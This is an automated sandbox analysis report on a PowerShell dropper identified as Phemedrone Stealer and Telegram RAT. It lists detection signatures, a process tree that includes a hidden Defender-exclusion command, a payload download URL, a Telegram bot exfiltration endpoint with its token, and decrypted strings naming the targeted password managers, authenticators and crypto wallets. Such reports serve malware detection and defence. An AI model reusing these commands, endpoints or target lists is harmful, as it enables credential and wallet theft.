Edit tour

Windows Analysis Report
gCK3ozTL7Q.ps1

Overview

General Information

Sample name:	gCK3ozTL7Q.ps1 renamed because original name is a hash value
Original sample name:	c185695a5c260e4c77fe5a0999ce23f9a3ea45f89b15003a18e8c3052e75beb6.ps1
Analysis ID:	1568340
MD5:	f74352d968ebe606fcc81a9d827e5ccf
SHA1:	1d6b0838ef4e437998b11ea7c15691e483d7b9d6
SHA256:	c185695a5c260e4c77fe5a0999ce23f9a3ea45f89b15003a18e8c3052e75beb6
Tags:	45-200-148-86ps1user-JAMESWT_MHT
Infos:

Detection

Phemedrone Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Suricata IDS alerts for network traffic

Yara detected Generic Stealer

Yara detected Phemedrone Stealer

Yara detected Telegram RAT

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Hides threads from debuggers

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

PE file contains section with special chars

Powershell drops PE file

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Suspicious powershell command line found

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Uses the Telegram API (likely for C&C communication)

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains sections with non-standard names

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: Powershell Defender Exclusion

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

powershell.exe (PID: 7336 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\gCK3ozTL7Q.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7344 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7552 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden Add-MpPreference -ExclusionPath C:\Users\user\AppData\Local MD5: 04029E121A0CFA5991749937DD22A1D9)

WmiPrvSE.exe (PID: 7660 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

Activation.exe (PID: 7808 cmdline: "C:\Users\user\AppData\Local\Activation.exe" MD5: AA3A94BA72728DF41A815B060F5E9C52)

WerFault.exe (PID: 3516 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7808 -s 2452 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot7772275304:AAF3OSvWBzn5cIHkGD9ueBFz5ed91u-60-U/sendMessage"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000005.00000002.1962005815.0000000003554000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PhemedroneStealer	Yara detected Phemedrone Stealer	Joe Security
00000005.00000002.1962005815.0000000003579000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PhemedroneStealer	Yara detected Phemedrone Stealer	Joe Security
00000005.00000002.1966509817.0000000004420000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PhemedroneStealer	Yara detected Phemedrone Stealer	Joe Security
00000005.00000002.1966509817.0000000004420000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_GenericStealer_9	Yara detected Generic Stealer	Joe Security
00000005.00000002.1966509817.00000000049FA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PhemedroneStealer	Yara detected Phemedrone Stealer	Joe Security
00000005.00000002.1966509817.00000000049FA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_GenericStealer_9	Yara detected Generic Stealer	Joe Security
00000005.00000002.1962005815.000000000356B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PhemedroneStealer	Yara detected Phemedrone Stealer	Joe Security
00000005.00000002.1962005815.0000000003430000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PhemedroneStealer	Yara detected Phemedrone Stealer	Joe Security
00000005.00000002.1962005815.0000000003430000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_GenericStealer_9	Yara detected Generic Stealer	Joe Security
00000005.00000002.1966509817.0000000004444000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PhemedroneStealer	Yara detected Phemedrone Stealer	Joe Security
00000005.00000002.1966509817.0000000004444000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_GenericStealer_9	Yara detected Generic Stealer	Joe Security
00000005.00000002.1966509817.0000000004652000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PhemedroneStealer	Yara detected Phemedrone Stealer	Joe Security
00000005.00000002.1966509817.0000000004652000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_GenericStealer_9	Yara detected Generic Stealer	Joe Security
00000005.00000002.1966509817.00000000044BB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PhemedroneStealer	Yara detected Phemedrone Stealer	Joe Security
00000005.00000002.1966509817.00000000044BB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_GenericStealer_9	Yara detected Generic Stealer	Joe Security
00000005.00000002.1966509817.0000000004819000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PhemedroneStealer	Yara detected Phemedrone Stealer	Joe Security
00000005.00000002.1966509817.0000000004819000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_GenericStealer_9	Yara detected Generic Stealer	Joe Security
00000005.00000002.1962005815.0000000003422000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PhemedroneStealer	Yara detected Phemedrone Stealer	Joe Security
00000005.00000002.1962005815.0000000003422000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_GenericStealer_9	Yara detected Generic Stealer	Joe Security
Process Memory Space: Activation.exe PID: 7808	JoeSecurity_PhemedroneStealer	Yara detected Phemedrone Stealer	Joe Security
Process Memory Space: Activation.exe PID: 7808	JoeSecurity_GenericStealer_9	Yara detected Generic Stealer	Joe Security
decrypted.memstr	JoeSecurity_PhemedroneStealer	Yara detected Phemedrone Stealer	Joe Security
decrypted.memstr	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 18 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden Add-MpPreference -ExclusionPath C:\Users\user\AppData\Local, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden Add-MpPreference -ExclusionPath C:\Users\user\AppData\Local, CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\gCK3ozTL7Q.ps1", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7336, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden Add-MpPreference -ExclusionPath C:\Users\user\AppData\Local, ProcessId: 7552, ProcessName: powershell.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\gCK3ozTL7Q.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\gCK3ozTL7Q.ps1", CommandLine|base64offset|contains: z, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2592, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\gCK3ozTL7Q.ps1", ProcessId: 7336, ProcessName: powershell.exe

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7336, TargetFilename: C:\Users\user\AppData\Local\Activation.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\gCK3ozTL7Q.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\gCK3ozTL7Q.ps1", CommandLine|base64offset|contains: z, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2592, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\gCK3ozTL7Q.ps1", ProcessId: 7336, ProcessName: powershell.exe

Suricata Signatures

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screenshot.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-04T15:12:37.299911+0100	2843856	1	A Network Trojan was detected	192.168.2.11	49772	149.154.167.220	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://45.200.148.86/Activation.exe

Avira URL Cloud: Label: malware

Found malware configuration

Source: Activation.exe.7808.5.memstrmin

Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot7772275304:AAF3OSvWBzn5cIHkGD9ueBFz5ed91u-60-U/sendMessage"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Activation.exe

ReversingLabs: Detection: 42%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Activation.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: OpenVPN
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: OpenVPN Connect
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: profiles
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: ovpn
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: VPN/OpenVpn/
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: ProtonVPN
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: ProtonVPN_
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: user.config
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: VPN/ProtonVPN/
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: \
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: SurfShark
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Surfshark
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: *.dat
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: VPN/SurfShark/
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: 7772275304:AAF3OSvWBzn5cIHkGD9ueBFz5ed91u-60-U
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: -4567089584
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor:
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: tr
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Udofoge
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: .txt
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Pekorojasecopycemonuxazivopenos
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Passwords.txt
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor:
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Messengers/Discord/Tokens.txt
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor:
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Google Accounts/Tokens.txt
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Chromium
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: User Data
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: 1.0.0.0
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Local State
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Network
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Cookies
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: cookies
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Web Data
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: autofill
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Login Data
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: logins
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: token_service
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: credit_cards
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Browser Data/
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: /Cookies[
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: ].txt
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor:
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: /AutoFills[
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor:
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Local Storage
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: leveldb
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: CreditCards.txt
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Profile*
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Default
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Authenticator
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: bhghoamapcdpbohphigoooaddinpkbai
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: EOS Authenticator
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: oeljdldpnmdbchonielidgobddffflal
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: BrowserPass
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: naepdomgkenhinolocfifgehidddafch
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: MYKI
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: bmikpgodpkclnkgmnpphehdgcimmided
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Splikity
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: jhfjfclepacoldmjmkmdlmganfaalklb
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: CommonKey
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: chgfefjpcobfbnpmiokfjjaglahmnded
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Zoho Vault
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: igkpcodhieompeloncfnbekccinhapdb
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Norton Password Manager
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: admmjipmmciaobhojoghlmleefbicajg
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Avira Password Manager
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: caljgklbbfbcjjanaijlacgncafpegll
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Trezor Password Manager
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: imloifkgjagghnncjkhggdhalmcnfklk
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: MetaMask
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: nkbihfbeogaeaoehlefnkodbefgpgknn
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: TronLink
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: BinanceChain
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: fhbohimaelbohpjbbldcngcnapndodjp
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Coin98
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: aeachknmefphepccionboohckonoeemg
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: iWallet
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: kncchdigobghenbbaddojjnnaogfppfj
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Wombat
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: amkmjjmmflddogmhpjloimipbofnfjih
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: NeoLine
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: cphhlgmgameodnhkjdmkpanlelnlohao
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Terra Station
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: aiifbnbfobpmeekipheeijimdpnlpgpp
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Keplr
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: dmkamcknogkgcdfhhbddcghachkejeap
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Sollet
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: fhmfendgdocmcbmfikdcogofphimnkno
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: ICONex
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: flpiciilemghbmfalicajoolhkkenfel
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: KHC
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: hcflpincpppdclinealmandijcmnkbgn
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: TezBox
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: mnfifefkajgofkcjkemidiaecocnkjeh
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Byone
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: OneKey
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: ilbbpajmiplgpehdikmejfemfklpkmke
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Trust Wallets
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: pknlccmneadmjbkollckpblgaaabameg
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: MetaWallet
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: pfknkoocfefiocadajpngdknmkjgakdg
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Guarda Wallet
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: fcglfhcjfpkgdppjbglknafgfffkelnm
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Exodus
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: idkppnahnmmggbmfkjhiakkbkdpnmnon
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: JaxxxLiberty
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: mhonjhhcgphdphdjcdoeodfdliikapmj
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Atomic Wallet
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: bhmlbgebokamljgnceonbncdofmmkedg
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Electrum
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: hieplnfojfccegoloniefimmbfjdgcgp
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Mycelium
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: pidhddgciaponoajdngciiemcflpnnbg
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Coinomi
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: blbpgcogcoohhngdjafgpoagcilicpjh
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: GreenAddress
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: gflpckpfdgcagnbdfafmibcmkadnlhpj
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Edge
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: doljkehcfhidippihgakcihcmnknlphh
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: BRD
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: nbokbjkelpmlgflobbohapifnnenbjlh
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Samourai Wallet
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: apjdnokplgcjkejimjdfjnhmjlbpgkdi
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Copay
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: ieedgmmkpkbiblijbbldefkomatsuahh
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Bread
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: jifanbgejlbcmhbbdbnfbfnlmbomjedj
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: KeepKey
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: dojmlmceifkfgkgeejemfciibjehhdcl
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Trezor
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: jpxupxjxheguvfyhfhahqvxvyqthiryh
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Ledger Live
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: pfkcfdjnlfjcmkjnhcbfhfkkoflnhjln
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Ledger Wallet
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: hbpfjlflhnmkddbjdchbbifhllgmmhnm
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Bitbox
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: ocmfilhakdbncmojmlbagpkjfbmeinbd
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Digital Bitbox
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: dbhklojmlkgmpihhdooibnmidfpeaing
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: YubiKey
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: mammpjaaoinfelloncbbpomjcihbkmmc
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Google Authenticator
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: khcodhlfkpmhibicdjjblnkgimdepgnd
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Microsoft Authenticator
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: bfbdnbpibgndpjfhonkflpkijfapmomn
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Authy
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: gjffdbjndmcafeoehgdldobgjmlepcal
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Duo Mobile
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: eidlicjlkaiefdbgmdepmmicpbggmhoj
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: OTP Auth
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: bobfejfdlhnabgglompioclndjejolch
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: FreeOTP
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: elokfmmmjbadpgdjmgglocapdckdcpkn
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Aegis Authenticator
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: ppdjlkfkedmidmclhakfncpfdmdgmjpm
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: LastPass Authenticator
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: cfoajccjibkjhbdjnpkbananbejpkkjb
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Dashlane
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: flikjlpgnpcjdienoojmgliechmmheek
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Keeper
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: gofhklgdnbnpcdigdgkgfobhhghjmmkj
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: RoboForm
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: hppmchachflomkejbhofobganapojjol
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: KeePass
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: lbfeahdfdkibininjgejjgpdafeopflb
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: KeePassXC
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: kgeohlebpjgcfiidfhhdlnnkhefajmca
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Bitwarden
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: inljaljiffkdgmlndjkdiepghpolcpki
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: NordPass
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: njgnlkhcjgmjfnfahdmfkalpjcneebpl
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: LastPass
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: gabedfkgnbglfbnplfpjddgfnbibkmbb
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Nifty Wallet
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: jbdaocneiiinmjbjlgalhcelgbejmnid
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Math Wallet
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Coinbase Wallet
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: hnfanknocfeofbddgcijnmhnfnkdnaad
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Equal Wallet
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: blnieiiffboillknjnepogjhkgnoac
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: EVER Wallet
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: cgeeodpfagjceefieflmdfphplkenlfk
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Jaxx Liberty
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: ocefimbphcgjaahbclemolcmkeanoagc
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: BitApp Wallet
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Mew CX
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: GU Wallet
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: nfinomegcaccbhchhgflladpfbajihdf
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Guild Wallet
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: nanjmdkhkinifnkgdeggcnhdaammmj
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Saturn Wallet
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: nkddgncdjgifcddamgcmfnlhccnimig
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: Harmony Wallet
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: fnnegphlobjdpkhecapkijjdkgcjhkib
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: TON Wallet
Source: 5.2.Activation.exe.520000.0.unpack	String decryptor: nphplpgoakhhjchkkhmiggakijnkhfnd
